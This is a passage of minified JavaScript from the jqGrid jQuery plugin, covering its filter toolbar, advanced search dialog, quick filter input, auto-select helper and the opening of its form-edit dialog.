D.p.postData[t]}catch(e){}break;case"custom":Ye.jgrid.isFunction(this.searchoptions.custom_value)&&0<r.length&&this.searchoptions.custom_value.call(D,r,"set",i||"")}}),0<d),c=((D.p.resetsearch=!0)===S.stringResult||"local"===D.p.datatype?(o='{"groupOp":"'+S.groupOp+'","rules":[',a=0,Ye.each(l,function(e,t){0<a&&(o+=","),o=(o=(o+='{"field":"'+e+'",')+'"op":"'+s[e]+'",')+'"data":"'+(t+="").replace(/\\/g,"\\\\").replace(/\"/g,'\\"')+'"}',a++,S.searchOperators&&(r=Ye("#gs_"+D.p.idPrefix+Ye.jgrid.jqID(e),!0===this.frozen&&!0===D.p.frozenColumns?D.grid.fhDiv:D.grid.hDiv)).parents("table.ui-search-table").find("td.ui-search-oper").children("a").attr("soper",s[e]).html(S.operands[s[e]])}),o+="]}",!0===D.p.mergeSearch&&D.p.searchModules.hasOwnProperty("filterToolbar")&&!1!==D.p.searchModules.filterToolbar?(D.p.searchModules.filterToolbar=0<a?o:null,p=!0,Ye.extend(D.p.postData,{filters:Ye.jgrid.splitSearch(D.p.searchModules)})):Ye.extend(D.p.postData,{filters:o}),Ye.each(["searchField","searchString","searchOper"],function(e,t){D.p.postData.hasOwnProperty(t)&&delete D.p.postData[t]})):Ye.extend(D.p.postData,l),S.url&&(n=D.p.url,Ye(D).jqGrid("setGridParam",{url:S.url})),"stop"===Ye(D).triggerHandler("jqGridToolbarBeforeClear"));(c=!c&&Ye.jgrid.isFunction(S.beforeClear)?S.beforeClear.call(D):c)||e&&Ye(D).jqGrid("setGridParam",{search:p}).trigger("reloadGrid",[{page:1}]),n&&Ye(D).jqGrid("setGridParam",{url:n}),Ye(D).triggerHandler("jqGridToolbarAfterClear"),Ye.jgrid.isFunction(S.afterClear)&&S.afterClear()},this.toggleToolbar=function(){var e=Ye("tr.ui-search-toolbar",D.grid.hDiv);!0===D.p.frozenColumns&&Ye(D).jqGrid("destroyFrozenColumns"),"none"===e.css("display")?e.show():e.hide(),!0===D.p.frozenColumns&&Ye(D).jqGrid("setFrozenColumns")}}})},destroyFilterToolbar:function(){return this.each(function(){this.p.filterToolbar&&(this.triggerToolbar=null,this.clearToolbar=null,this.toggleToolbar=null,this.p.filterToolbar=!1,Ye(this.grid.hDiv).find("table thead tr.ui-search-toolbar").remove())})},refreshFilterToolbar:function(g){return g=Ye.extend(!0,{filters:"",onClearVal:null,onSetVal:null},g||{}),this.each(function(){var o,a,n,e,l,s,d,p=this,c=p.p.colModel,u=p.p.colModel.length,h=[];if(p.p.filterToolbar){for(a=Ye(p).data("filterToolbar"),o=0;o<u;o++){switch(h.push(c[o].index||c[o].name),n=Ye("#gs_"+p.p.idPrefix+Ye.jgrid.jqID(c[o].name)),c[o].stype){case"select":case"text":n.val("")}Ye.jgrid.isFunction(g.onClearVal)&&g.onClearVal.call(p,n,c[o].name)}"string"==typeof g.filters&&(g.filters.length?e=g.filters:p.p.postData.hasOwnProperty("filters")&&(e=p.p.postData.filters),e=Ye.jgrid.parse(e)),Ye.isPlainObject(e)&&!function e(t){if(t&&t.rules){for(l=t.rules,u=l.length,o=0;o<u;o++){var r;s=l[o],-1!==(d=Ye.inArray(s.field,h))&&0<(n=Ye("#gs_"+p.p.idPrefix+Ye.jgrid.jqID(c[d].name))).length&&("select"===c[d].stype?n.find("option[value='"+Ye.jgrid.jqID(s.data)+"']").prop("selected",!0):"text"===c[d].stype&&n.val(s.data),Ye.jgrid.isFunction(g.onSetVal)&&g.onSetVal.call(p,n,c[d].name),a)&&a.searchOperators&&(r=n.parent().prev()).hasClass("ui-search-oper")&&(Ye(".soptclass",r).attr("soper",s.op),a.operands.hasOwnProperty(s.op))&&Ye(".soptclass",r).html(Ye.jgrid.stripScript(a.operands[s.op]))}if(t.groups)for(var i=0;i<t.groups.length;i++)e(t.groups[i])}}(e)}})},searchGrid:function(k){var e=Ye.jgrid.getRegional(this[0],"search");return k=Ye.extend(!0,{recreateFilter:!1,drag:!0,sField:"searchField",sValue:"searchString",sOper:"searchOper",sFilter:"filters",loadDefaults:!0,beforeShowSearch:null,afterShowSearch:null,onInitializeSearch:null,afterRedraw:null,afterChange:null,sortStrategy:null,closeAfterSearch:!1,closeAfterReset:!1,closeOnEscape:!1,searchOnEnter:!1,multipleSearch:!1,multipleGroup:!1,top:0,left:0,jqModal:!0,modal:!1,resize:!0,width:450,height:"auto",dataheight:"auto",showQuery:!1,errorcheck:!0,sopt:null,stringResult:void 0,onClose:null,onSearch:null,onReset:null,toTop:!0,overlay:30,columns:[],tmplNames:null,tmplFilters:null,tmplLabel:" Template: ",showOnLoad:!1,layer:null,splitSelect:",",groupOpSelect:"OR",operands:{eq:"=",ne:"<>",lt:"<",le:"<=",gt:">",ge:">=",bw:"LIKE",bn:"NOT LIKE",in:"IN",ni:"NOT IN",ew:"LIKE",en:"NOT LIKE",cn:"LIKE",nc:"NOT LIKE",nu:"IS NULL",nn:"ISNOT NULL"},buttons:[]},e,k||{}),this.each(function(){var o=this;if(o.grid){var t,r,i="fbox_"+o.p.id,a=!0,n=!0,l={themodal:"searchmod"+i,modalhead:"searchhd"+i,modalcontent:"searchcnt"+i,scrollelm:i},e=[],s=Ye.jgrid.styleUI[o.p.styleUI||"jQueryUI"].filter,d=Ye.jgrid.styleUI[o.p.styleUI||"jQueryUI"].common;if(k.styleUI=o.p.styleUI,"string"==typeof(t=Ye.isPlainObject(o.p._savedFilter)&&!Ye.isEmptyObject(o.p._savedFilter)?o.p._savedFilter:(!0===o.p.mergeSearch&&o.p.searchModules.hasOwnProperty("searchGrid")&&!1!==o.p.searchModules.searchGrid&&Ye.extend(o.p.postData,{filters:Ye.jgrid.splitSearch(o.p.searchModules)}),o.p.postData[k.sFilter]))&&(t=Ye.jgrid.parse(t)),!0===k.recreateFilter&&Ye("#"+Ye.jgrid.jqID(l.themodal)).remove(),void 0!==Ye("#"+Ye.jgrid.jqID(l.themodal))[0])S(Ye("#fbox_"+Ye.jgrid.jqID(o.p.id)));else{var p,c,u=Ye("<div><div id='"+i+"' class='searchFilter' style='overflow:auto'></div></div>").insertBefore("#gview_"+Ye.jgrid.jqID(o.p.id)),h="left",g="",f=("rtl"===o.p.direction&&(h="right",g=" style='text-align:left'",u.attr("dir","rtl")),Ye.extend([],o.p.colModel)),m="<a id='"+i+"_search' class='fm-button "+d.button+" fm-button-icon-right ui-search'><span class='"+d.icon_base+" "+s.icon_search+"'></span>"+k.Find+"</a>",v="<a id='"+i+"_reset' class='fm-button "+d.button+" fm-button-icon-left ui-reset'><span class='"+d.icon_base+" "+s.icon_reset+"'></span>"+k.Reset+"</a>",j="",b="",y=!1,w=-1,x=!1,_=[],m=(k.showQuery&&(j="<a id='"+i+"_query' class='fm-button "+d.button+" fm-button-icon-left'><span class='"+d.icon_base+" "+s.icon_query+"'></span>Query</a>"),Ye.jgrid.buildButtons(k.buttons,j+m,d)),q=null;if(Ye(o).jqGrid("isGroupHeaderOn")&&(G=Ye("table.ui-jqgrid-htable",o.grid.hDiv).find(".jqg-second-row-header"),c=o.p.groupHeader.length,void 0!==G[0])&&(q=o.p.groupHeader[c-1]),k.columns.length)f=k.columns,p=f[w=0].index||f[0].name;else{if(null!==q)for(var C=0;C<f.length;C++){var I=Ye.jgrid.inColumnHeader(f[C].name,q.groupHeaders);if(0<=I){f[C].label=q.groupHeaders[I].titleText+"::"+o.p.colNames[C];for(var D=1;D<=q.groupHeaders[I].numberOfColumns-1;D++)f[C+D].label=q.groupHeaders[I].titleText+"::"+o.p.colNames[C+D];C=C+q.groupHeaders[I].numberOfColumns-1}}Ye.each(f,function(e,t){var r,i;t.label||(t.label=o.p.colNames[e]),!y&&(r=void 0===t.search||t.search,i=!0===t.hidden,t.searchoptions&&!0===t.searchoptions.searchhidden&&r||r&&!i)&&(y=!0,p=t.index||t.name,w=e),"select"===t.stype&&t.searchoptions&&t.searchoptions.multiple&&(x=!0,_.push(t.index||t.name))})}if((!t&&p||!1===k.multipleSearch)&&(G="eq",0<=w&&f[w].searchoptions&&f[w].searchoptions.sopt?G=f[w].searchoptions.sopt[0]:k.sopt&&k.sopt.length&&(G=k.sopt[0]),t={groupOp:"AND",rules:[{field:p,op:G,data:""}]}),y=!1,k.tmplNames&&k.tmplNames.length&&(y=!0,b=(b="<tr><td class='ui-search-label'>"+k.tmplLabel+"</td>")+"<td><select size='1' name='select_template' class='ui-template "+s.srSelect+"'><option value='default'>Default</option>",Ye.each(k.tmplNames,function(e,t){b+="<option value='"+e+"'>"+t+"</option>"}),b+="</select></td></tr>"),void 0!==o.p.customFilterDef)for(var F in o.p.customFilterDef)o.p.customFilterDef.hasOwnProperty(F)&&!k.operands.hasOwnProperty(F)&&(k.odata.push({oper:F,text:o.p.customFilterDef[F].text}),k.operands[F]=o.p.customFilterDef[F].operand,!0===o.p.customFilterDef[F].unary)&&e.push(F);c="<table class='EditTable' style='border:0px none;margin-top:5px' id='"+i+"_2'><tbody><tr><td colspan='2'><hr class='"+d.content+"' style='margin:1px'/></td></tr>"+b+"<tr><td class='EditButton' style='text-align:"+h+"'>"+v+"</td><td class='EditButton' "+g+">"+m+"</td></tr></tbody></table>",i=Ye.jgrid.jqID(i),Ye("#"+i).jqFilter({columns:f,sortStrategy:k.sortStrategy,filter:k.loadDefaults?t:null,showQuery:k.showQuery,errorcheck:k.errorcheck,sopt:k.sopt,groupButton:k.multipleGroup,ruleButtons:k.multipleSearch,uniqueSearchFields:k.uniqueSearchFields,afterRedraw:k.afterRedraw,ops:k.odata,operands:k.operands,ajaxSelectOptions:o.p.ajaxSelectOptions,groupOps:k.groupOps,addsubgrup:k.addsubgrup,addrule:k.addrule,delgroup:k.delgroup,delrule:k.delrule,autoencode:o.p.autoencode,unaryOperations:e,onChange:function(){this.p.showQuery&&Ye(".query",this).text(this.toUserFriendlyString()),Ye.jgrid.isFunction(k.afterChange)&&k.afterChange.call(o,Ye("#"+i),k)},direction:o.p.direction,id:o.p.id}),u.append(c),Ye("#"+i+"_2").find("[data-index]").each(function(){var t=parseInt(Ye(this).attr("data-index"),10);0<=t&&Ye(this).on("click",function(e){k.buttons[t].click.call(o,Ye("#"+i),k,e)})}),y&&k.tmplFilters&&k.tmplFilters.length&&Ye(".ui-template",u).on("change",function(){var e=Ye(this).val();return"default"===e?Ye("#"+i).jqFilter("addFilter",t):Ye("#"+i).jqFilter("addFilter",k.tmplFilters[parseInt(e,10)]),!1}),!0===k.multipleGroup&&(k.multipleSearch=!0),Ye(o).triggerHandler("jqGridFilterInitialize",[Ye("#"+i)]),Ye.jgrid.isFunction(k.onInitializeSearch)&&k.onInitializeSearch.call(o,Ye("#"+i)),k.gbox="#gbox_"+Ye.jgrid.jqID(o.p.id);var G=Ye(".ui-jqgrid").css("font-size")||"11px";k.layer?Ye.jgrid.createModal(l,u,k,"#gview_"+Ye.jgrid.jqID(o.p.id),Ye("#gbox_"+Ye.jgrid.jqID(o.p.id))[0],"string"==typeof k.layer?"#"+Ye.jgrid.jqID(k.layer):k.layer,"string"==typeof k.layer?{position:"relative","font-size":G}:{"font-size":G}):Ye.jgrid.createModal(l,u,k,"#gview_"+Ye.jgrid.jqID(o.p.id),Ye("#gbox_"+Ye.jgrid.jqID(o.p.id))[0],null,{"font-size":G}),(k.searchOnEnter||k.closeOnEscape)&&Ye("#"+Ye.jgrid.jqID(l.themodal)).keydown(function(e){var t=Ye(e.target);return!k.searchOnEnter||13!==e.which||t.hasClass("add-group")||t.hasClass("add-rule")||t.hasClass("delete-group")||t.hasClass("delete-rule")||t.hasClass("fm-button")&&t.is("[id$=_query]")?k.closeOnEscape&&27===e.which?(Ye("#"+Ye.jgrid.jqID(l.modalhead)).find(".ui-jqdialog-titlebar-close").click(),!1):void 0:(e.preventDefault(),Ye("#"+i+"_search").click(),!1)}),j&&Ye("#"+i+"_query").on("click",function(){return Ye(".queryresult",u).toggle(),!1}),void 0===k.stringResult&&(k.stringResult=k.multipleSearch),Ye("#"+i+"_search").on("click",function(){var e,t={};return(r=Ye("#"+i)).find(".input-elm:focus").change(),x&&k.multipleSearch?(o.p._savedFilter={},e=Ye.jgrid.filterRefactor({ruleGroup:Ye.extend(!0,{},r.jqFilter("filterData")),ssfield:_,splitSelect:k.splitSelect,groupOpSelect:k.groupOpSelect}),o.p._savedFilter=Ye.extend(!0,{},r.jqFilter("filterData"))):e=r.jqFilter("filterData"),k.errorcheck&&(r[0].hideError(),k.showQuery||r.jqFilter("toSQLString"),r[0].p.error)?r[0].showError():(k.stringResult?(t[k.sFilter]=JSON.stringify(e),Ye.each([k.sField,k.sValue,k.sOper],function(){t[this]=""})):k.multipleSearch?(t[k.sFilter]=e,Ye.each([k.sField,k.sValue,k.sOper],function(){t[this]=""})):(t[k.sField]=e.rules[0].field,t[k.sValue]=e.rules[0].data,t[k.sOper]=e.rules[0].op,t[k.sFilter]=""),"string"!=typeof t[k.sFilter]&&(t[k.sFilter]=JSON.stringify(t[k.sFilter])),(o.p.search=!0)===o.p.mergeSearch&&o.p.searchModules.hasOwnProperty("searchGrid")&&!1!==o.p.searchModules.searchGrid&&k.multipleSearch?(""!==t[k.sFilter]?o.p.searchModules.searchGrid=t[k.sFilter]:o.p.searchModules.searchGrid=null,Ye.extend(o.p.postData,{filters:Ye.jgrid.splitSearch(o.p.searchModules)})):Ye.extend(o.p.postData,t),!1!==(n=(n=void 0===(n=Ye(o).triggerHandler("jqGridFilterSearch"))?!0:n)&&Ye.jgrid.isFunction(k.onSearch)?k.onSearch.call(o,o.p.filters):n)&&Ye(o).trigger("reloadGrid",[{page:1}]),k.closeAfterSearch&&Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(l.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(o.p.id),jqm:k.jqModal,onClose:k.onClose})),!1}),Ye("#"+i+"_reset").on("click",function(){var e={},t=Ye("#"+i);return o.p.search=!1,!(o.p.resetsearch=!0)===k.multipleSearch?e[k.sField]=e[k.sValue]=e[k.sOper]="":e[k.sFilter]="",t[0].resetFilter(),y&&Ye(".ui-template",u).val("default"),!0===o.p.mergeSearch&&o.p.searchModules.hasOwnProperty("searchGrid")&&!1!==o.p.searchModules.searchGrid?(o.p.searchModules.searchGrid=null,Ye.extend(o.p.postData,{filters:Ye.jgrid.splitSearch(o.p.searchModules)}),o.p.search=!0):Ye.extend(o.p.postData,e),!1!==(n=(n=void 0===(n=Ye(o).triggerHandler("jqGridFilterReset"))?!0:n)&&Ye.jgrid.isFunction(k.onReset)?k.onReset.call(o):n)&&Ye(o).trigger("reloadGrid",[{page:1}]),k.closeAfterReset&&Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(l.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(o.p.id),jqm:k.jqModal,onClose:k.onClose}),!1}),S(Ye("#"+i)),Ye(".fm-button:not(."+d.disabled+")",u).hover(function(){Ye(this).addClass(d.hover)},function(){Ye(this).removeClass(d.hover)})}}function S(e){(a=(a=void 0===(a=Ye(o).triggerHandler("jqGridFilterBeforeShow",[e]))?!0:a)&&Ye.jgrid.isFunction(k.beforeShowSearch)?k.beforeShowSearch.call(o,e):a)&&(Ye.jgrid.viewModal("#"+Ye.jgrid.jqID(l.themodal),{gbox:"#gbox_"+Ye.jgrid.jqID(o.p.id),jqm:k.jqModal,modal:k.modal,overlay:k.overlay,toTop:k.toTop}),Ye(o).triggerHandler("jqGridFilterAfterShow",[e]),Ye.jgrid.isFunction(k.afterShowSearch))&&k.afterShowSearch.call(o,e)}})},filterInput:function(n,l){return l=Ye.extend(!0,{defaultSearch:"cn",groupOp:"OR",searchAll:!1,beforeSearch:null,afterSearch:null,selectFirstFound:!1,firstFoundTimeout:30},l||{}),this.each(function(){var e,t,r,i,o,a=this;a.grid&&(t='{"groupOp":"'+l.groupOp+'","rules":[',r=0,n+="",Ye.each(a.p.colModel,function(){e=this.index||this.name,i=this.searchoptions||{},i=l.defaultSearch||(i.sopt?i.sopt[0]:l.defaultSearch),(void 0===this.search||this.search||l.searchAll)&&""!==n&&(0<r&&(t+=","),t=(t=t+'{"field":"'+e+'","op":"'+i+'",')+'"data":"'+n.replace(/\\/g,"\\\\").replace(/\"/g,'\\"')+'"}',r++)}),t+="]}",!0===a.p.mergeSearch&&a.p.searchModules.hasOwnProperty("filterInput")&&!1!==a.p.searchModules.filterInput?(a.p.searchModules.filterInput=0<r?t:null,Ye.extend(a.p.postData,{filters:Ye.jgrid.splitSearch(a.p.searchModules)})):Ye.extend(a.p.postData,{filters:t}),Ye.each(["searchField","searchString","searchOper"],function(e,t){a.p.postData.hasOwnProperty(t)&&delete a.p.postData[t]}),(o=!(o="stop"===Ye(a).triggerHandler("jqGridFilterInputBeforeSearch"))&&Ye.jgrid.isFunction(l.beforeSearch)?l.beforeSearch.call(a):o)||Ye(a).jqGrid("setGridParam",{search:!0}).trigger("reloadGrid",[{page:1}]),l.selectFirstFound&&setTimeout(function(){var e=Ye(a).jqGrid("getGridRowByIndex",1);Ye(a).jqGrid("setSelection",e.id,!1)},l.firstFoundTimeout),Ye(a).triggerHandler("jqGridFilterInputAfterSearch"),Ye.jgrid.isFunction(l.afterSearch))&&l.afterSearch.call(a)})},autoSelect:function(s){return s=Ye.extend(!0,{field:"",direction:"asc",src_date:"Y-m-d",allValues:"All",count_item:!0,create_value:!0},s||{}),this.each(function(){var e,t=this,r="";if(s.field&&t.p.data&&Array.isArray(t.p.data)){var i,o,a,n,l=[];try{n=(a=Ye.jgrid.from.call(t,t.p.data).groupBy(s.field,s.direction,"text",s.src_date)).length}catch(e){}if(a&&a.length){for(o=Ye("#gsh_"+t.p.id+"_"+s.field).find("td.ui-search-input > select"),n=a.length,s.allValues&&(r="<option value=''>"+s.allValues+"</option>",l.push(":"+s.allValues));n--;)e=a[n],i=s.count_item?" ("+e.items.length+")":"",r+="<option value='"+e.unique+"'>"+e.unique+i+"</option>",l.push(e.unique+":"+e.unique+i);o.append(r),o.on("change",function(){t.triggerToolbar()}),s.create_value&&(o=Ye.jgrid.getElemByAttrVal(t.p.colModel,"name",s.field,!1),Ye.isEmptyObject(o)||(o.searchoptions?Ye.extend(o.searchoptions,{value:l.join(";")}):(o.searchoptions={},o.searchoptions.value=l.join(";"))))}}})}});var i,J={};Ye.jgrid.extend({editGridRow:function(X,K){var e=Ye.jgrid.getRegional(this[0],"edit"),t=this[0].p.styleUI,$=Ye.jgrid.styleUI[t].formedit,Y=Ye.jgrid.styleUI[t].common;return K=Ye.extend(!0,{top:0,left:0,width:"500",datawidth:"auto",height:"auto",dataheight:"auto",modal:!1,overlay:30,drag:!0,resize:!0,url:null,mtype:"POST",clearAfterAdd:!0,closeAfterEdit:!1,reloadAfterSubmit:!0,onInitializeForm:null,beforeInitData:null,beforeShowForm:null,afterShowForm:null,beforeSubmit:null,afterSubmit:null,onclickSubmit:null,afterComplete:null,onclickPgButtons:null,afterclickPgButtons:null,editData:{},recreateForm:!1,jqModal:!0,closeOnEscape:!1,addedrow:"first",topinfo:"",bottominfo:"",saveicon:[],closeicon:[],savekey:[!1,13],navkeys:[!1,38,40],checkOnSubmit:!1,checkOnUpdate:!1,processing:!1,onClose:null,ajaxEditOptions:{},serializeEditData:null,viewPagerButtons:!0,overlayClass:Y.overlay,removemodal:!0,form:"edit",template:null,focusField:!0,editselected:!1,html5Check:!1,buttons:[]},e,K||{}),J[Ye(this)[0].p.id]=K,this.each(function(){var u=this;if(u.grid&&X){u.p.savedData={};var h,g,r,e,f=u.p.id,m="FrmGrid_"+f,t="TblGrid_"+f,v="#"+Ye.jgrid.jqID(t),j={themodal:"editmod"+f,modalhead:"edithd"+f,modalcontent:"editcnt"+f,scrollelm:m},i=!0,o=1,a=0,n="string"==typeof J[u.p.id].template&&0<J[u.p.id].template.length,b=Ye.jgrid.getRegional(this,"errors"),A=(J[u.p.id].styleUI=u.p.styleUI||"jQueryUI",Ye.jgrid.isMobile()&&(J[u.p.id].resize=!1),"new"===X?(X="_empty",g="add",K.caption=J[u.p.id].addCaption):(K.caption=J[u.p.id].editCaption,g="edit"),K.recreateForm||Ye(u).data("formProp")&&Ye.extend(J[Ye(this)[0].p.id],Ye(u).data("formProp")),!0),l=(K.checkOnUpdate&&K.jqModal&&!K.modal&&(A=!1),isNaN(J[Ye(this)[0].p.id].dataheight)?J[Ye(this)[0].p.id].dataheight:J[Ye(this)[0].p.id].dataheight+"px"),s=isNaN(J[Ye(this)[0].p.id].datawidth)?J[Ye(this)[0].p.id].datawidth:J[Ye(this)[0].p.id].datawidth+"px",y=Ye("<form name='FormPost' id='"+m+"' class='FormGrid' onSubmit='return false;' style='width:"+s+";height:"+l+";'></form>").data("disabled",!1),d=n?(s=J[Ye(this)[0].p.id].template,l="",r=l="string"==typeof s?s.replace(/\{([\w\-]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?\}/g,function(e,t){return'<span id="'+t+'" ></span>'}):l,v):(r=Ye("<table id='"+t+"' class='EditTable ui-common-table'><tbody></tbody></table>"),v+"_2"),m="#"+Ye.jgrid.jqID(m);if(Ye(y).append("<div class='FormError "+Y.error+"' style='display:none;'></div>"),Ye(y).append("<div class='tinfo topinfo'>"+J[u.p.id].topinfo+"</div>"),Ye(u.p.colModel).each(function(){var e=this.formoptions;o=Math.max(o,e&&e.colpos||0),a=Math.max(a,e&&e.rowpos||0)}),Ye(y).append(r),!1!==(i=(i=void 0===(i=Ye(u).triggerHandler("jqGridAddEditBeforeInitData",[y,g]))?!0:i)&&Ye.jgrid.isFunction(J[u.p.id].beforeInitData)?J[u.p.id].beforeInitData.call(u,y,g):i)){if("_empty"!==X&&void 0!==u.p.savedRow&&0<u.p.savedRow.length&&Ye.jgrid.isFunction(Ye.fn.jqGrid.restoreRow))for(e=0;e<u.p.savedRow.length;e++)if(u.p.savedRow[e].id===X){Ye(u).jqGrid("restoreRow",X);break}for(var p,c,w,x,T,_,P,q=X,C=u,I=r,D=o,F=0,G=!1,B="",E=1;E<=D;E++)B+="<td class='CaptionTD'></td><td class='DataTD'></td>";"_empty"!==q&&(G=Ye(C).jqGrid("getInd",q)),Ye(C.p.colModel).each(function(t){if(p=this.name,c=(!this.editrules||!0!==this.editrules.edithidden)&&!0===this.hidden,T=c?"style='display:none'":"","cb"!==p&&"subgrid"!==p&&!0===this.editable&&"rn"!==p&&"sc"!==p){if(!1===G)x="";else if(p===C.p.ExpandColumn&&!0===C.p.treeGrid)x=Ye("td[role='gridcell']",C.rows[G]).eq(t).text();else{try{x=Ye.unformat.call(C,Ye("td[role='gridcell']",C.rows[G]).eq(t),{rowId:q,colModel:this},t)}catch(e){x=this.edittype&&"textarea"===this.edittype?Ye("td[role='gridcell']",C.rows[G]).eq(t).text():Ye("td[role='gridcell']",C.rows[G]).eq(t).html()}x&&" "!==x&&" "!==x&&(1!==x.length||160!==x.charCodeAt(0))||(x="")}var e,r=Ye.extend({},this.editoptions||{},{id:p,name:p,rowId:q,oper:g,module:"form",checkUpdate:J[u.p.id].checkOnSubmit||J[u.p.id].checkOnUpdate}),i=Ye.extend({},{elmprefix:"",elmsuffix:"",rowabove:!1,rowcontent:""},this.formoptions||{}),o=parseInt(i.rowpos,10)||F+1,a=parseInt(2*(parseInt(i.colpos,10)||1),10);"_empty"===q&&r.defaultValue&&(x=Ye.jgrid.isFunction(r.defaultValue)?r.defaultValue.call(u):r.defaultValue),this.edittype||(this.edittype="text"),u.p.autoencode&&(x=Ye.jgrid.htmlDecode(x)),_=Ye.jgrid.createEl.call(u,this.edittype,r,x,!1,Ye.extend({},Ye.jgrid.ajaxOptions,C.p.ajaxSelectOptions||{})),"select"===this.edittype&&(x=Ye(_).val(),"select-multiple"===Ye(_).get(0).type)&&(x=x&&x.join(",")),"checkbox"===this.edittype&&(x=Ye(_).is(":checked")?Ye(_).val():Ye(_).attr("offval")),Ye(_).addClass("FormElement"),"select"===this.edittype?Ye(_).addClass($.selectClass):-1<Ye.inArray(this.edittype,["text","textarea","password","color","date","datetime","datetime-local","email","month","number","range","search","tel","time","url","week"])&&Ye(_).addClass($.inputClass),P=!0,n?(e=Ye(y).find("#"+p)).length?e.replaceWith(_):P=!1:(w=Ye(I).find("tr[rowpos="+o+"]"),i.rowabove&&(e=Ye("<tr><td class='contentinfo' colspan='"+2*D+"'>"+i.rowcontent+"</td></tr>"),Ye(I).append(e),e[0].rp=o),0===w.length&&(w=Ye(1<D?"<tr rowpos='"+o+"'></tr>":"<tr "+T+" rowpos='"+o+"'></tr>").addClass("FormData").attr("id","tr_"+p),Ye(w).append(B),Ye(I).append(w),w[0].rp=o),Ye("td",w[0]).eq(a-2).html("<label for='"+p+"' class='"+$.labelClass+"'>"+(void 0===i.label?C.p.colNames[t]:i.label)+"</label>"),Ye("td",w[0]).eq(a-1).append(i.elmprefix).append(_).append(i.elmsuffix),1<D&&c&&(Ye("td",w[0]).eq(a-2).hide(),Ye("td",w[0]).eq(a-1).hide())),(J[u.p.id].checkOnSubmit||J[u.p.id].checkOnUpdate)&&P&&(u.p.savedData[p]=x),"custom"===this.edittype&&Ye.jgrid.isFunction(r.custom_value)&&r.custom_value.call(u,Ye("#"+p,_),"set",x),Ye.jgrid.bindEv.call(u,_,r),F,F++}}),0<F&&((n?(k="<div class='FormData' style='display:none'><input class='FormElement' id='id_g' type='text' name='"+C.p.id+"_id' value='"+q+"'/>",Ye(y)):((k=Ye("<tr class='FormData' style='display:none'><td class='CaptionTD'></td><td colspan='"+(2*D-1)+"' class='DataTD'><input class='FormElement' id='id_g' type='text' name='"+C.p.id+"_id' value='"+q+"'/></td></tr>"))[0].rp=F+999,Ye(I))).append(k),J[u.p.id].checkOnSubmit||J[u.p.id].checkOnUpdate)&&(u.p.savedData[C.p.id+"_id"]=q);var S,s="rtl"===u.p.direction,l="<a id='"+(s?"nData":"pData")+"' class='fm-button "+Y.button+"'><span class='"+Y.icon_base+" "+$.icon_prev+"'></span></a>",i="<a id='"+(s?"pData":"nData")+"' class='fm-button "+Y.button+"'><span class='"+Y.icon_base+" "+$.icon_next+"'></span></a>",k="<a id='sData' class='fm-button "+Y.button+"'>"+K.bSubmit+"</a>",R="<a id='cData' class='fm-button "+Y.button+"'>"+K.bCancel+"</a>",N=Array.isArray(J[u.p.id].buttons)?Ye.jgrid.buildButtons(J[u.p.id].buttons,k+R,Y):k+R,N="<table style='height:auto' class='EditTable ui-common-table' id='"+t+"_2'><tbody><tr><td colspan='2'><hr class='"+Y.content+"' style='margin:1px'/></td></tr><tr id='Act_Buttons'><td class='navButton'>"+(s?i+l:l+i)+"</td><td class='EditButton'>"+N+"</td></tr>",z=(N+="</tbody></table>",0<a&&(S=[],Ye.each(Ye(r)[0].rows,function(e,t){S[e]=t}),S.sort(function(e,t){return e.rp>t.rp?1:e.rp<t.rp?-1:0}),Ye.each(S,function(e,t){Ye("tbody",r).append(t)})),K.gbox="#gbox_"+Ye.jgrid.jqID(f),!1),t=(!0===K.closeOnEscape&&(K.closeOnEscape=!1,z=!0),l=n?(Ye(y).find("#pData").replaceWith(l),Ye(y).find("#nData").replaceWith(i),Ye(y).find("#sData").replaceWith(k),Ye(y).find("#cData").replaceWith(R),Ye("<div id="+t+"></div>").append(y)):Ye("<div></div>").append(y).append(N),Ye(y).append("<div class='binfo topinfo bottominfo'>"+J[u.p.id].bottominfo+"</div>"),Ye(".ui-jqgrid").css("font-size")||"11px"),t=(Ye.jgrid.createModal(j,l,J[Ye(this)[0].p.id],"#gview_"+Ye.jgrid.jqID(u.p.id),Ye("#gbox_"+Ye.jgrid.jqID(u.p.id))[0],null,{"font-size":t}),s&&(Ye("#pData, #nData",v+"_2").css("float","right"),Ye(".EditButton",v+"_2").css("text-align","left")),J[u.p.id].topinfo&&Ye(".tinfo",m).show(),J[u.p.id].bottominfo&&Ye(".binfo",m).show(),l=null,Ye("#"+Ye.jgrid.jqID(j.themodal)).keydown(function(e){var t=e.target;return!0!==Ye(m).data("disabled")&&(!0===J[u.p.id].savekey[0]&&e.which===J[u.p.id].savekey[1]&&"TEXTAREA"!==t.tagName?(Ye("#sData",v+"_2").trigger("click"),!1):27===e.which?(O()&&z&&Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(j.themodal),{gb:K.gbox,jqm:K.jqModal,onClose:J[u.p.id].onClose,removemodal:J[u.p.id].removemodal,formprop:!J[u.p.id].recreateForm,form:J[u.p.id].form}),!1):!0===J[u.p.id].navkeys[0]?"_empty"===Ye("#id_g",v).val()||(e.which===J[u.p.id].navkeys[1]?(Ye("#pData",d).trigger("click"),!1):e.which===J[u.p.id].navkeys[2]?(Ye("#nData",d).trigger("click"),!1):void 0):void 0)}),K.checkOnUpdate&&(Ye("a.ui-jqdialog-titlebar-close span","#"+Ye.jgrid.jqID(j.themodal)).removeClass("jqmClose"),Ye("a.ui-jqdialog-titlebar-close","#"+Ye.jgrid.jqID(j.themodal)).off("click").click(function(){return O()&&Ye.jgrid.hideModal("#"+Ye.jgrid.jqID(j.themodal),{gb:"#gbox_"+Ye.jgrid.jqID(f),jqm:K.jqModal,onClose:J[u.p.id].onClose,removemodal:J[u.p.id].removemodal,formprop:!J[u.p.id].recreateForm,form:J[u.p.id].form}),!1})),K.saveicon=Ye.extend([!0,"left",$.icon_save],K.saveicon),K.closeicon=Ye.extend([!0,"left",$.icon_close],K.closeicon),!0===K.saveicon[0]&&Ye("#sData",d).addClass("right"===K.saveicon[1]?"fm-button-icon-right":"fm-button-icon-left").append("<span class='"+Y.icon_base+" "+K.saveicon[2]+"'></span>"),!0===K.closeicon[0]&&Ye("#cData",d).addClass("right"===K.closeicon[1]?"fm-button-icon-right":"fm-button-icon-left").append("<span class='"+Y.icon_base+" 